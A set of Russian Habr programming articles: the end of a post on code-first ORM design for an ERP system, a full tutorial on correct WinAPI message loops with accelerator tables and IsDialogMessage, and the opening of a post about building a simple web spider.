public MetroStation Metro { get; set; }
}
```
Некоторые особенности, на которые имеет смысл обратить внимание:
* Xml-комментарии
Они сделаны не только для понятности кода, но и для использования в интерфейсе системы. То что находится на первой строчке — будет отображаемым наименованием поля. Всё что в последующих — всплывающей подсказкой. Таким подходом мы упростили себе поддержку документации кода и управлением наименованиями объектов.
* Атрибуты
```
[Field(Length = 64)]
```
Field — общее указание того что свойство будет persistent-свойством
Length — длина строки
Scale = 0 — количество знаков после запятой в decimal
```
[Index("CreationTime", Clustered = true)]
```
Атрибут сущности (класса) указывающий на создание индекса, ключевые поля, тип
```
[HierarchyRoot]
```
Атрибут, указывающий, что класс является корнем иерархии сущностей, т.о. все экземпляры как этого класса, так и его наследников, являются хранимыми
В этом примере я применил наследование для предложений от арендодателя (RentOfferBase) — базовое предложение содержит некоторую часть полей, более детальные предложения, например предложение квартиры — содержит уточняющие поля — Площадь кухни, Количество комнат.
##### Наследование
При работе с ORM мы можем воспользоваться таким мощным инструментом ООП как наследование.
Для базового класса предложения об аренде создаем наследников: Предложения квартир и Предложения комнат
При очевидной простоте, этот подход позволяет радикально сократить количество кода и упростить разработку схожих сущностей, особенно эффективно это при разработке похожих документов, отличающимися несколькими полями.
##### Инкапсуляция
Кроме знакомой многим инкапсуляции из мира ООП, при использовании ORM мы инкапсулируем ещё и физическую модель хранения данных. Можем использовать любую схему наследования для одного и того-же бизнес кода. Т.е. меняем структуру бд, не изменяя код приложения, ну или почти не изменяя.
Из предыдущей структуры классов не совсем понятно, как будут выглядеть таблицы, содержащие данные предложений от арендодателя, а выглядеть они могут тремя различными способами, в зависимости от значения атрибута указывающего схему наследования:
###### ClassTable
Используется по умолчанию, и создает по таблице на каждый класс, начиная с корня иерархии
###### SingleTable
Одна таблица для всех классов иерархии
###### ConcreteTable
По таблице на каждый не абстрактный класс
###### Зачем всё это нужно?
В некоторых случаях удобно хранить нормализованные данные, а в других, для оптимизации, удобнее денормализировать таблицы. Преимущество ORM в том что это можно сделать очень просто — всего лишь изменив одну строчку — в нашем случае
```
[HierarchyRoot]
```
будет заменено на
```
[HierarchyRoot(InheritanceSchema.SingleTable)]
```
и
```
[HierarchyRoot(InheritanceSchema.ConcreteTable)]
```
соответственно. При этом, т.к. мы пишем запросы не на SQL, то все запросы будут автоматически транслированы для использования соответствующей схемы наследования. Т.е. отчет по предложениям об аренде/квартир/комнат написанный на LINQ и работающий через ORM будет работать с каждой схемой и не потребует никаких доработок.
#### Добавление бизнес-логики
##### События форм
Большинство платформ (как и наша) умеют автоматически генерировать формы по модели. Но нам мало статических форм, давайте оживим её, добавим динамики. В нашей системе мы ввели такое понятие как обработчик событий форм — класс, реализующий интерфейс обработчика с указанием на какие поля завязаны события. По изменению данных на клиенте происходит отправка данных на сервер, десериализация, обработка .net объекта, сериализация, отправка данных на клиент.
Например, изменяем на [форме](http://demo.oreodor.com/RealEstate/Auth.aspx?Redirect=CreateRentOffer.aspx?operation_id=4ac3a6e6-3ddd-493c-be6b-a54daa1f84dd) Стоимость, сразу же, налету, пересчитывается Процент. И наоборот. А вот как лаконично это выглядит в коде:
```
///
/// Обработчик изменения поля Price и ComissionPercent
///
[OnFieldChange("Price", "ComissionPercent")]
public class RentalPriceFormEvent : RentOfferFormEventsBase
{
public override void OnFieldChange(RentOfferBase item)
{
if (item.ComissionPercent != decimal.Zero)
{
item.Comission = item.Price \* 0.01m \* item.ComissionPercent;
}
}
}
```
Это событие расчета комиссии по процентам и по цене, логика очень простая, но мы можем написать здесь любой код на .net. При необходимости выполнить запрос к БД или web-сервису.
##### Полиморфизм
В предыдущем примере мы написали событие только для одной сущности RentOfferBase, это событие будет работать и с наследниками, но что если у нас несколько сущностей с ценой/комиссией? Каждый раз писать один и тот же код?
Выделяем интерфейс
```
///
/// С комиссией
///
public interface IWithComission
{
/// Стоимость
decimal Price { get; set; }
/// Комиссия
decimal Comission { get; set; }
/// %
decimal ComissionPercent { get; set; }
}
```
и переписываем событие в виде
```
///
/// Обработчик изменения поля RentalPrice и ComissionPercent
///
/// Тип сущности
[OnFieldChange("Price", "ComissionPercent")]
public class RentalPriceFormEvent : RentOfferFormEventsBase
where TEntity : DocumentBase, IWithComission
{
public override void OnFieldChange(TEntity item)
{
if (item.ComissionPercent != decimal.Zero)
{
item.Comission = item.Price \* 0.01m \* item.ComissionPercent;
}
}
}
```
Теперь этот код сработает для любой сущности реализующей интерфейс IWithComission. При этом, если потребуется внести изменения в логику расчета процентов, то сделать это нужно в единственном месте, во всех остальных местах всё применится автоматически. Например, создадим сущность для заявки на покупку квартиры.
Такой подход позволяет значительно уменьшить количество кода и обеспечить удобную поддерживаемость продукта.
##### События сущностей
События сущностей очень похожи на события форм, но срабатывают транзакционно в момент изменения сущности. Это некий аналог триггеров бд, но в отличие от триггеров и аналогично событиям форм позволяют использовать ООП подход. Например, нам нужно контролировать изменение сущностей на статусе “закрыт” так, чтобы никто кроме администратора не мог их изменять. Довольно простой код
```
///
/// Событие для установки краткого наименования заявки
///
[FireOn(EntityEventAction.Updated)]
public class CheckStatus : IEntityEvent
where TEntity : EntityBase, IWithStatus
{
///
/// Операция контроля
///
/// Элемент сущности с измененными полями
public void Execute(TEntity item)
{
if (item.Status.Name == "Закрыт" && !Roles.IsUserInRole("admin"))
{
throw new ErrorException("Запрещено изменение сущностей на статусе 'Закрыт'!");
}
}
///
/// Текущее действие выполняемое над элементом сущности
///
public EntityEventAction CurrentAction { get; set; }
}
```
Который проверяет что если изменяемая сущность находится на статусе “Закрыт” и пользователь не принадлежит роли админ — то генерируется исключение. Аналогично событиям форм события сущностей будут применяться ко всем сущностям совместимым с ними, в данном случае реализующими интерфейс IWithStatus.
##### Разделение кода
В некоторых подходах используется RichDomainModel, у нас же она Anemic
и это значит, что в классе сущности практически отсутствует бизнес логика. (Для этого есть События Форм/Сущностей/Фильтры и т.п.)
Преимущество такого подхода в возможности модификации поведения внешних сущностей. Например, одна компания разработала модуль Адресов и поставляет его как библиотеку, мы не имеем доступа к исходному коду этой библиотеки и хотим добавить какое-нибудь поведение на форму, например при выборе некорректного адреса предупреждать.
Для этого мы можем написать событие формы, которое будет применено к внешнему компоненту.
##### Фильтры
Применение ORM позволяет воспользоваться для фильтрации таким мощным инструментом .net как ExpressionTrees. Мы можем заранее написать выражение фильтрации для использования как ограничения бизнес логики, можем на основе действий пользователя отфильтровать грид.
Например, для ограничения видимости неактуальных заявок, для менеджера применяется следующее выражение фильтрации из кода:
```
public static Expression> FilterOffers()
where TOffer : RentOfferBase
{
return a => a.Creator.SysName == SecurityHelper.CurrentLogin || a.Status.Name == "Актуально";
}
```
Это простой фильтр, используемый для ограничения прав доступа только к своим [заявкам](http://demo.oreodor.com/RealEstate/Auth.aspx?Redirect=Main.aspx#RentOfferBase:Regular), либо к заявкам на статусе “Актуально”
Этот фильтр сейчас не привязан явно ни к какой сущности, generic параметр говорит лишь о том, что использовать его можно для RentOfferBase и любого из его наследников. Для кого он будет реально применен будет определяться позже, в момент настройки приложения.
Так же мы можем задать фильтрацию одного поля [формы](http://demo.oreodor.com/RealEstate/Auth.aspx?Redirect=CreateRentOffer.aspx?operation_id=8257d7dc-9fae-4368-976c-efe6a7333635) в зависимости от другого
```
[FilterFor(typeof(RentOfferBase), "Metro")]
public static Expression> MetroFilter([Source("Line")]MetroLine line)
{
return a => line == null || a.MetroLine == line;
}
```
Здесь мы фильтруем станции метро в зависимости от выбранной ветки, указав в атрибутах сущности и поля, которые используются в качестве источников значений и объектов фильтрации.
#### Внесение изменений в систему
ERP система, в отличие от остальных приложений, требует частого внесения изменений в бизнес-логику и модель данных, а этот процесс должен быть простым и надежным.
Здесь необходимо сказать, что важно не просто ORM, а идеология CodeFirst. В предыдущей версии нашей системы мы тоже использовали ORM — Linq2SQL. При этом использовался Database-first подход, база данных хранилась в виде “мастер-базы” и скриптов обновления. Типовая ошибка, встречающаяся в таком подходе — код классов .net не соответствует БД. Для решения проблемы мы написали собственные валидаторы структуры бд.
Что же мы получаем в CodeFirst:
* Быструю разработку сущностей — пишем .net класс редко задумываясь о БД
* Удобный способ хранения БД в системе контроля версий — храним только код класса
* Валидацию бизнес логики в момент компиляции
Но как же быть с обновлениями?
##### Миграция
Представим, что мы готовим обновление, которое заказчик устанавливает на свою БД. Простые миграции выполняются полностью автоматически. Т.е. если мы внесли безопасные изменения в модель — то ORM сам смигрирует БД на новую версию.
Безопасные изменения. это изменения не удаляющие данные из БД, например:
* Создание нового поля
* Создание новой сущности
* Увеличение точности/длины поля
Конечно, этих действий не достаточно при разработке серьёзных приложений, что же делать при задаче переименовать поле/сущность?
1. Применить рефакторинг переименования (мы используем ReSharper). При этом все использования этого поля в нашем коде переименовываются.
В том числе переименовываются использования в Фильтрах, Событиях Формы, Событиях Сущности. Сложность может доставлять только встречающиеся в виде текста имена полей в Атрибутах, но если наименование поля достаточно уникально — то проблем не будет. При этом после переименования можно запустить компиляцию и убедиться что поля в атрибутах переименованы правильно.
2. Добавить hint переименования. Hint — подсказка для ORM что же делать с БД при наличии различий между схемой построенной по классам и реальной схемой в SQL. hint переименования поля выглядит примерно так:
```
public class RenameFieldUpgrader : ModelUpgraderBase
{
public override Version Version { get { return new Version("3.5.0.8764"); } }
public override void AddUpgradeHints(ISet hints)
{
hints.Add(new RenameFieldHint(typeof(RentOfferBase), "OldName", "NewName"));
}
}
```
Похожими хинтами мы можем указать на переименование сущности, удаление поля/сущности. При наличии такого хинта при следующем запуске ORM автоматически применит рефакторинг переименования для БД и переименует поле с сохранением данных.
#### Итоги
В результате применения ORM мы получили:
* Удобную и быструю разработку как модели данных так и бизнес логики
* Удобную, простотую и надежную поддержку приложения
* Использовали преимущества ООП на всех этапах
* Повторное использование кода (исключили copy-paste)
* Валидацию кода в момент компиляции
* Лаконичный, понятный код бизнес-логики | https://habr.com/ru/post/140713/ | null | ru | null |
# Окна на чистом WinAPI. Или просто о сложном
*Disclaimer*
Казалось бы, что WinAPI уходит в прошлое. Давно уже существует огромное количество кросс-платформенных фреймфорков, Windows не только на десктопах, да и сами Microsoft в свой магазин не жалуют приложения, которые используют этого монстра. Помимо этого статей о том, как создать окошки на WinAPI, не только здесь, но и по всему интернету, исчисляется тысячами по уровню от дошколят и выше. Весь этот процесс разобран уже даже не по атомам, а по субатомным частицам. Что может быть проще и понятнее? А тут я еще…
Но не все так просто, как кажется.
#### Почему о WinAPI сейчас?
В один прекрасный момент, изучая потроха одной из игр в весьма неплохом [эмуляторе NES](https://sourceforge.net/p/fceultra/code/HEAD/tree/), я подумал: Вроде неплохой такой эмуль, а в отладчике нет такой простой вещи, как навигация по кнопкам клавиатуры, которая есть в любом нормальном отладчике.
Здесь я не зря дал ссылку на репозиторий, т.к. видно, что ребята столкнулись с проблемой, о которой речь пойдет ниже, но так и не решили ее.
О чем это я? А вот [об этом](https://sourceforge.net/p/fceultra/code/HEAD/tree/fceu/trunk/src/drivers/win/debugger.cpp#l2079) кусочке кода:
```
case WM_KEYDOWN:
MessageBox(hwndDlg,"Die!","I'm dead!",MB_YESNO|MB_ICONINFORMATION);
break;
```
Таким образом, авторы хотели добавить поддержку клавиатуры, но суровая реальность недр архитектуры диалоговых окон в Windows жестко пресекла такую самодеятельность. Те, кто пользовался эмулятором и отладчиком в нем, хоть раз видели это сообщение?
В чем же проблема?
Ответ такой: так делать нельзя!
И, возвращаясь, к изначальному вопросу о WinAPI: очень много популярных, и не очень, проектов продолжают его использовать и в настоящее время, т.к. лучше, чем на чистом API многие вещи не сделать (тут можно бесконечно приводить аналогии вроде сравнения высокоуровневых языков и ассемблера, но сейчас не об этом). Да и мало ли почему? Просто используют и все тут.
#### О проблеме
Диалоговые окна упрощают работу с GUI, одновременно лишая нас возможности сделать что-то самостоятельно. Например, сообщения WM\_KEYDOWN/WM\_KEYUP, приходящие в оконную процедуру, «съедаются» в недрах DefDlgProc, беря на себя такие вещи, как: Навигация по Tab, обработка клавиш Esc, Enter, и т.д. Кроме того, диалоги не нужно создавать вручную: проще, ведь, набросать кнопок, списков, в редакторе ресурсов, вызвать в WinMain CreateDialog/DialogBox и все готово.
Обойти такие мелкие неприятности просто. Есть, как минимум, два вполне легальных способа:
1. Создать свой собственный класс через [RegisterClassEx](https://msdn.microsoft.com/ru-ru/ms633587) и в процедуре обработки класса схватывать WM\_KEYDOWN, перенаправлять в процедуру обработки самого диалога. Да-да! Можно создавать диалоги со своим собственным классом, и встроенный в VS редактор даже позволяет задавать имя класса для диалога. Вот только кто об этом знает и этим пользуется?
Минус очевиден: Нужно регистрировать еще один класс, иметь на 1 CALLBACK процедуру больше, суть которой будет всего-навсего в трансляции пары сообщений. Кроме того, мы не будем знать **куда** их транслировать, и придется городить костыли.
2. Использовать встроенный механизм акселераторов. И нам даже не придется менять код диалоговой процедуры! Ну, разве что, добавить одну строчку в switch/case, но об этом ниже.
#### Tutorials?
Не побоюсь сказать, что *все* туториалы по созданию окон через WinAPI начинаются с такого незамысловатого кода, обозначая его, как «цикл обработки сообщений» (опущу детали по подготовке класса окна и прочую обвязку):
```
while (GetMessage(&msg, nullptr, 0, 0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
```
Здесь действительно все просто:
1. GetMessage() выхватывает очередное сообщение из очереди, и *ключевой момент*: блокирует поток, если в очереди пусто.
2. TranslateMessage() из WM\_KEYDOWN/WM\_KEYUP формирует сообщения WM\_CHAR/WM\_SYSCHAR (они нужны, если кто-то хочет сделать свой редактор текста).
3. DispatchMessage() отправляет сообщение в оконную процедуру (если таковая существует).
Начнем с того, что этот код использовать опасно, и [вот почему](https://msdn.microsoft.com/en-us/library/windows/desktop/ms644936(v=vs.85).aspx). Обратите внимание на сноску:
> Because the return value can be nonzero, zero, or -1, avoid code like this:
>
>
> ```
> while (GetMessage( lpMsg, hWnd, 0, 0)) ...
> ```
>
И ниже приводится пример правильного цикла.
*Стоит сказать, что в шаблонах VS для Win32 приложений, написан именно такой **неправильный** цикл. И это очень печально. Ведь мало кто будет вникать в то, что сделали сами авторы, ведь это априори правильно. И неправильный код множится вместе с багами, которые очень сложно отловить.*
После этого фрагмента кода, как правило, следует рассказ про акселераторы, и добавляется пара новых строчек (учитывая замечание в MSDN, предлагаю сразу писать правильный цикл):
```
HACCEL hAccel = LoadAccelerators(hInstance, MAKEINTRESOURCE(IDR_ACCELERATOR));
BOOL bRet = 0;
while ( bRet = GetMessage(&msg, nullptr, 0, 0) )
{
if ( -1 == bRet ) break;
if ( !TranslateAccelerator(msg.hwnd, hAccel, &msg) )
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
}
```
Этот вариант я видел чаще всего. И он (*та-дам*) снова неправильный!
Сперва о том, что изменилось (потом о проблемах этого кода):
В первой строчке из ресурсов загружается таблица клавиш, при нажатии на которые, будет формироваться сообщение WM\_COMMAND с соответствующим id команды.
Собственно TranslateAccelerator этим и занимается: если видит WM\_KEYDOWN и код клавиши, которые есть в этом списке, то (опять же ключевой момент) будет формировать сообщение WM\_COMMAND (MAKEWPARAM(id, 1)) и отправлять в соответствующую для дескриптора окна, указанного в первом аргументе, процедуру обработки.
Из последней фразы, думаю, стало понятно, в чем проблема предыдущего кода.
Поясню: GetMessage выхватывает сообщения для ВСЕХ объектов типа «окно» (в число которых входят и дочерние: кнопки, списки и прочее), а TranslateAccelerator будет отправлять сформированную WM\_COMMAND куда? Правильно: обратно в кнопку/список и т.д. Но мы обрабатываем WM\_COMMAND в своей процедуре, а значит нам интересно ее получать в ней же.
Ясно, что TranslateAccelerator надо вызывать для нашего созданного окна:
```
HWND hMainWnd = CreateWindow(...);
HACCEL hAccel = LoadAccelerators(hInstance, MAKEINTRESOURCE(IDR_ACCELERATOR));
BOOL bRet = 0;
while (bRet = GetMessage(&msg, nullptr, 0, 0))
{
if ( -1 == bRet ) break;
if ( !TranslateAccelerator(hMainWnd, hAccel, &msg) )
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
}
```
И вроде все хорошо и замечательно теперь: мы разобрали все детально и все должно работать идеально.
И снова нет. :-) Это будет работать правильно, пока у нас ровно одно окно — наше. Как только появится немодальное новое окно (диалог), все клавиши, которые будут в нем нажаты оттранслируются в WM\_COMMAND и отправляться куда? И опять же правильно: в наше главное окно.
На этом этапе предлагаю не городить костылей по решению этой тупиковой ситуации, а предлагаю рассмотреть вещи, которые уже реже (или почти не встречаются) в туториалах.
#### IsDialogMessage
По названию этой функции можно подумать, что она зачем-то определяет: относится данное сообщение диалогу или нет. Но, во-первых, зачем нам это знать? А во-вторых, что с этой информацией нам делать дальше?
На самом деле, делает она чуть больше, чем следует из названия. А именно:
* Осуществляет навигацию по дочерним контролам кнопками Tab/Shift+Tab/вверх/вниз/вправо/влево. Плюс еще кое-что, но этого нам достаточно
* По нажатии на ESC формирует WM\_COMMAND( IDCANCEL )
* По нажатии на Enter формирует WM\_COMMAND( IDOK ) или нажатие на текущую кнопку по умолчанию
* Переключает кнопки по умолчанию (рамочка у таких кнопок чуть ярче остальных)
* Ну и еще разные штуки, которые облегчают пользователю работу с диалогом
Что она нам дает? Во-первых, нам не надо думать о навигации внутри окна. Нам и так все сделают. *Кстати, навигацию по Tab можно сделать, добавив стиль WS\_EX\_CONTROLPARENT нашему основному окну, но это топорно и не так функционально*.
Во-вторых, она нам облегчит жизнь по всем остальным пунктам, перечисленным в списке (и даже немного больше).
Вообще, она используется где-то в недрах Windows для обеспечения работы **модальных диалоговых окон**, а программистам дана, чтобы вызывать ее для немодальных диалогов. Однако мы ее можем использовать [где угодно](https://msdn.microsoft.com/en-us/library/ms909636.aspx):
> Although the IsDialogMessage function is intended for modeless dialog boxes, you can use it with any window that contains controls, enabling the windows to provide the same keyboard selection as is used in a dialog box.
Т.е. теперь, если мы оформим цикл так:
```
HWND hMainWnd = CreateWindow(...);
HACCEL hAccel = LoadAccelerators(hInstance, MAKEINTRESOURCE(IDR_ACCELERATOR));
BOOL bRet = 0;
while (bRet = GetMessage(&msg, nullptr, 0, 0))
{
if ( -1 == bRet ) break;
if ( !TranslateAccelerator(hMainWnd, hAccel, &msg) )
{
if ( !IsDialogMessage(hMainWnd, &msg) )
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
}
}
```
То наше окошко будет иметь навигацию, как в родном диалоге Windows. Но теперь мы получили два недостатка:
1. Этот код также будет хорошо работать только **с одним (немодальным) окном**;
2. Получив все достоинства диалоговой навигации, мы лишаемся прелестей в виде сообщений WM\_KEYDOWN/WM\_KEYUP (только для самого окна, а не для дочерних контролов);
И вот на этом этапе вообще все туториалы заканчиваются и начинаются вопросы: [How to handle keyboard events in a winapi standard dialog?](https://stackoverflow.com/questions/7230877/how-to-handle-keyboard-events-in-a-winapi-standard-dialog) Это первая ссылка в гугле, но поверьте: тысячи их. Про предлагаемые решений (лучшее из которых — это создать свой класс диалогов, о чем я писал выше, до [subclassing](https://msdn.microsoft.com/en-us/library/windows/desktop/bb773183(v=vs.85).aspx) и RegisterHotKey. Где-то я даже видел «лучший» из способов: использовать Windows Hooks).
Пора поговорить о том, чего нет в туториалах и ответах.
Как правило (как правило! Если кому-то захочется большего, то можно регистрировать свой класс для диалогов и работать так. И, если же, кому-то это интересно, я могу дополнить этим статью) WM\_KEYDOWN хотят тогда, когда хотят обработать нажатие на клавишу, которая выполнит функцию в независимости от выбранного контрола в окне — т.е. некая общая функция для всего данного конкретного диалога. А раз так, то почему бы не воспользоваться богатыми возможностями, которые нам сама WinAPI и предлагает: **TranslateAccelerator**.
Везде используют **ровно одну** таблицу акселераторов, и только для главного окна. Ну действительно: цикл GetMessage-loop один, значит и таблица одна. Куда еще их девать?
На самом деле, циклы GetMessage-loop могут быть **вложенными**. Давайте еще раз посмотрим описание [PostQuitMessage](https://msdn.microsoft.com/ru-ru/library/ms910659.aspx):
> The PostQuitMessage function posts a WM\_QUIT message to the thread's message queue and returns immediately; the function simply indicates to the system that the thread is requesting to quit at some time in the future.
И GetMessage:
> If the function retrieves the WM\_QUIT message, the return value is zero.
Таким образом, выход из GetMessage-loop осуществится, если мы вызовем PostQuitMessage в процедуре окна. Что это значит?
Мы можем для **каждого *немодального*** окна в нашей программе создавать свой собственный подобный цикл. В данном случае DialogBoxParam нам не подходит, т.к. оно крутит свой собственный цикл и повлиять мы на него не можем. Однако если создадим диалог через CreateDialogBoxParam или окно через CreateWindow, то можно закрутить еще один цикл. При этом в *каждом* таком окне и диалоге мы должны вызывать PostQuitMessage:
```
HWND hMainWnd = CreateWindow(...);
HACCEL hAccel = LoadAccelerators(hInstance, MAKEINTRESOURCE(IDR_ACCELERATOR));
BOOL bRet = 0;
while (bRet = GetMessage(&msg, nullptr, 0, 0))
{
if ( -1 == bRet ) break;
if ( !TranslateAccelerator(hMainWnd, hAccel, &msg) )
{
if ( !IsDialogMessage(hMainWnd, &msg) )
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
}
}
// ....
LRESULT CALLBACK WndProc(HWND hwnd, UINT umsg, WPARAM wparam, LPARAM lparam)
{
switch( umsg )
{
case WM_MYMESSAGE:
{
HWND hDlg = CreateDialog(hInstance, MAKEINTRESOURCE(IDD_MYDIALOG), hwnd, MyDialogBoxProc);
HACCEL hAccel = LoadAccelerators(hInstance, MAKEINTRESOURCE(IDR_ACCELERATOR_FOR_MY_DIALOG));
BOOL bRet = 0, fSavedEnabledState = IsWindowEnabled(hwnd);
EnableWindow(hwnd, FALSE); // disable parent window, as dialog window is modal
while (bRet = GetMessage(&msg, nullptr, 0, 0))
{
if ( -1 == bRet ) break;
if ( !TranslateAccelerator(hDlg, hAccel, &msg) )
{
if ( !IsDialogMessage(hDlg, &msg) )
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
}
}
EnableWindow(hwnd, fSavedEnabledState); // enable parent window. Dialog was closed
break;
}
}
}
INT_PTR CALLBACK MyDlgProc(HWND hwnd, UINT umsg, WPARAM wparam, LPARAM lparam)
{
switch(umsg)
{
case WM_CLOSE:
{
// EndDialog( hwnd, 0 ); -- DONT DO THAT!
// EndDialog is valid ONLY for Modal Dialogs, created with DialogBox(Param)
DestroyWindow( hwnd );
break;
}
case WM_DESTROY:
{
PostQuitMessage( 0 );
break;
}
// ....
}
return 0;
}
```
Обратите внимание: теперь для каждого нового окна в нашей программе мы можем добавить в обработку **собственную** таблицу акселераторов. WM\_QUIT будет выхватывать GetMessage из цикла для диалога, а внешний цикл его даже не увидит. Почему так происходит?
Дело в том, что внешний цикл «встал» на вызове DispatchMessage, который вызвал нашу процедуру, которая крутит свой собственный *внутренний* цикл GetMessage с таким же DispatchMessage. Классический вложенный вызов (в данном случае DispatchMessage). Посему внешний цикл не получит WM\_QUIT и не завершится на этом этапе. Все будет работать стройно.
Но и тут есть свои недостатки:
Каждый такой цикл будет обрабатывать сообщения *только для «своего» окна*. Про другие-то мы здесь не знаем. А значит, если где-то объявится еще один цикл, то все остальные окна не будут получать нужной обработки своих сообщений парой TranslateAccelerator/IsDialogMessage.
Что ж, пора учесть все эти замечание и написать наконец правильную обработку всех сообщений от всех окон нашей программы. Хочу заметить, что ниже рассматривается случай для одного потока. Т.к. каждый поток имеет свою очередь сообщений, то для каждого потока придется создавать свои структуры. Делается это весьма тривиальными изменениями в коде.
### Делаем красиво
Т.к. правильная постановка задачи является половиной решения, то сперва надо эту самую задачу правильно же и поставить.
Во-первых, было бы логично, что только *активное* окно принимает сообщения. Т.е. для неактивного окна мы не будем транслировать акселераторы и передавать сообщения в IsDialogMessage.
Во-вторых, если для окна не задана таблица акселераторов, то транслировать нечего, будем просто отдавать сообщение в IsDialogMessage.
Создадим простой std::map, который будет мапить дескриптор окна в дескриптор таблицы акселераторов. Вот так:
```
std::map l\_mAccelTable;
```
И по мере создания окон будем в него добавлять новые окна с дескриптором на свою любимую таблицу (или нуль, если такая обработка не требуется).
Вот так:
```
BOOL AddAccelerators(HWND hWnd, HACCEL hAccel)
{
if ( IsWindow( hWnd ) )
{
l_mAccelTable[ hWnd ] = hAccel;
return TRUE;
}
return FALSE;
}
BOOL AddAccelerators(HWND hWnd, LPCTSTR accel)
{
return AddAccelerators( hWnd, LoadAccelerators( hInstance, accel ) );
}
BOOL AddAccelerators(HWND hWnd, int accel)
{
return AddAccelerators( hWnd, MAKEINTRESOURCE( accel ) );
}
BOOL AddAccelerators(HWND hWnd)
{
return AddAccelerators( hWnd, HACCEL( NULL ) );
}
```
Ну и после закрытия окна удалять. Вот так:
```
void DelAccel(HWND hWnd)
{
std::map::iterator me = l\_mAccelTable.find( hWnd );
if ( me != l\_mAccelTable.end() )
{
if ( me->second )
{
DestroyAcceleratorTable( me->second );
}
l\_mAccelTable.erase( me );
}
}
```
Теперь, как создаем новый диалог/окно, вызываем AddAccelerators( hNewDialog, IDR\_MY\_ACCEL\_TABLE ). Как закрываем: DelAccel( hNewDialog ).
Список окон с нужными дескрипторами у нас есть. Немного модифицируем наш основной цикл обработки сообщений:
```
// ...
HWND hMainWnd = CreateWindow(...);
AddAccelerators(hMainWnd, IDR_ACCELERATOR);
BOOL bRet = 0;
while (bRet = GetMessage(&msg, nullptr, 0, 0))
{
if ( -1 == bRet ) break;
if ( !HandleAccelArray( GetActiveWindow(), msg ) )
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
}
// ...
```
Значительно лучше! Что же там в HandleAccelArray и зачем там GetActiveWindow()?
Немного теории:
Есть две функции, возвращающих дескриптор активного окна [GetForegroundWindow](https://msdn.microsoft.com/en-us/library/windows/desktop/ms633505(v=vs.85).aspx) и [GetActiveWindow](https://msdn.microsoft.com/en-us/library/windows/desktop/ms646292(v=vs.85).aspx). Отличие первой от второй вполне доходчиво описано в описании второй:
> The return value is the handle to the active window attached to the calling thread's message queue. Otherwise, the return value is NULL.
Если первая будет возвращать дескриптор любого окна в системе, то последняя только того, **которое использует очередь сообщений нашего потока**. Т.к. нас интересуют окна только нашего потока (а значит те, которые будут попадать в нашу очередь сообщений), то и возьмем последнюю.
Так вот HandleAccelArray, руководствуясь переданным ей дескриптором на активное окно, ищет это самое окно в нашей мапе, и если оно там есть, отдает это сообщение на трансляцию в TranslateAccelerator, а затем (если первый не увидел нужного) в IsDialogMessage. Если и последняя не обработала сообщение, то возвращаем FALSE, чтобы пройти по стандартной процедуре TranslateMessage/DispatchMessage.
Выглядит так:
```
BOOL HandleAccelWindow(std::map::const\_iterator mh, MSG & msg)
{
const HWND & hWnd = mh->first;
const HACCEL & hAccel = mh->second;
if ( !TranslateAccelerator( hWnd, hAccel, &msg ) )
{
// message not for TranslateAccelerator. Try it with IsDialogMessage
if ( !IsDialogMessage( hWnd, &msg ) )
{
// so, do default stuff
return FALSE;
}
}
// ok, message translated. Say to message-loop, to get next message
return TRUE;
}
BOOL HandleAccelArray( HWND hActive, MSG & msg )
{
if ( !hActive )
return FALSE; // no active window. Nothing to do
std::map::const\_iterator mh = l\_mAccelTable.find( hActive );
if ( mh != l\_mAccelTable.end() )
{
// Got it! Try to translate this message for the active window
return HandleAccelWindow( mh, msg );
}
return FALSE;
}
```
Теперь каждое дочернее окно вправе добавить себе любимую таблицу акселераторов и спокойно ловить и обрабатывать WM\_COMMAND с нужным кодом.
#### А что там еще об одной строчке в коде обработчика WM\_COMMAND?
Описание в TranslateAccelerator гласит:
> To differentiate the message that this function sends from messages sent by menus or controls, the high-order word of the wParam parameter of the WM\_COMMAND or WM\_SYSCOMMAND message contains the value 1.
Обычно код обработки WM\_COMMAND выглядит так:
```
switch( HIWORD( wParam ) )
{
case BN_CLICKED: // command from buttons/menus
{
switch( LOWORD( wParam ) )
{
case IDC_BUTTON1: DoButton1Stuff(); break;
case IDC_BUTTON2: DoButton2Stuff(); break;
// ...
}
break;
}
}
```
Теперь можно написать так:
```
switch( HIWORD( wParam ) )
{
case 1: // accelerator
case BN_CLICKED: // command from buttons/menus
{
switch( LOWORD( wParam ) )
{
case IDC_BUTTON1: DoButton1Stuff(); break;
case IDC_BUTTON2: DoButton2Stuff(); break;
// ...
}
break;
}
}
```
И теперь, возвращаясь к тому же fceux, добавив **всего одну строчку** в код обработки команд от кнопок, мы получим желаемое: управлять дебагером с клавиатуры. Достаточно добавить небольшую обертку вокруг главного цикла сообщений и новую таблицу акселераторов с нужными соответствиями VK\_KEY => IDC\_DEBUGGER\_BUTTON.
*P.S.: Мало кто знает, но можно создавать [свою собственную таблицу акселераторов](https://msdn.microsoft.com/ru-ru/library/windows/desktop/ms646365(v=vs.85).aspx), а теперь и применять ее прямо налету.*
*P.P.S.: Т.к. DialogBox/DialogBoxParam крутит собственный цикл, то от при вызове диалога через них акселераторы работать не будут и наш цикл (или циклы) будет «простаивать».*
*P.P.P.S.: После вызова HandleAccelWindow мап l\_mAccelTable может измениться, т.к. TranslateAccelerator или IsDialogMessage вызывают DispatchMessage, а там может встретиться AddAccelerators или DelAccel в наших обработчиках! Поэтому лучше его после этой функции не трогать.*
Пощупать код можно [здесь](https://github.com/loginsinex/TestAccelUI). За основу был взят код, генерируемый из стандартного шаблона MS VS 2017. | https://habr.com/ru/post/352096/ | null | ru | null |
# Пишем простой парсер web страниц
Здравствуйте. Меня зовут Сережа. Я хочу рассказать о том, как я писал простейшего вэб паука.
Поскольку это некоммерческий проект, созданный исключительно на моём энтузиазме, при работе я руководствовался следующим:
**1.** Минимум необходимых функций (сканирование web, сохранение необходимого в БД, простенький UI для доступа)
**2.** 0 финансовых затрат:
— В качестве сервера использую нетбук, который покупал в свое время для учебы acer aspare ONE KAV60, весьма бюджетный даже на момент покупки (2008 год), сейчас его процессора atom в 1600 МГц не хватает даже для нормальной работы в MS OFFICE
— Интернет — проводной домашний. Благо IP уже пол года не менялся, не пришлось заказывать статический
**3.** Минимум временых затрат. Проект делался после работы и дачи.
В качестве ПО использованы:
* ОС XUBUNTU
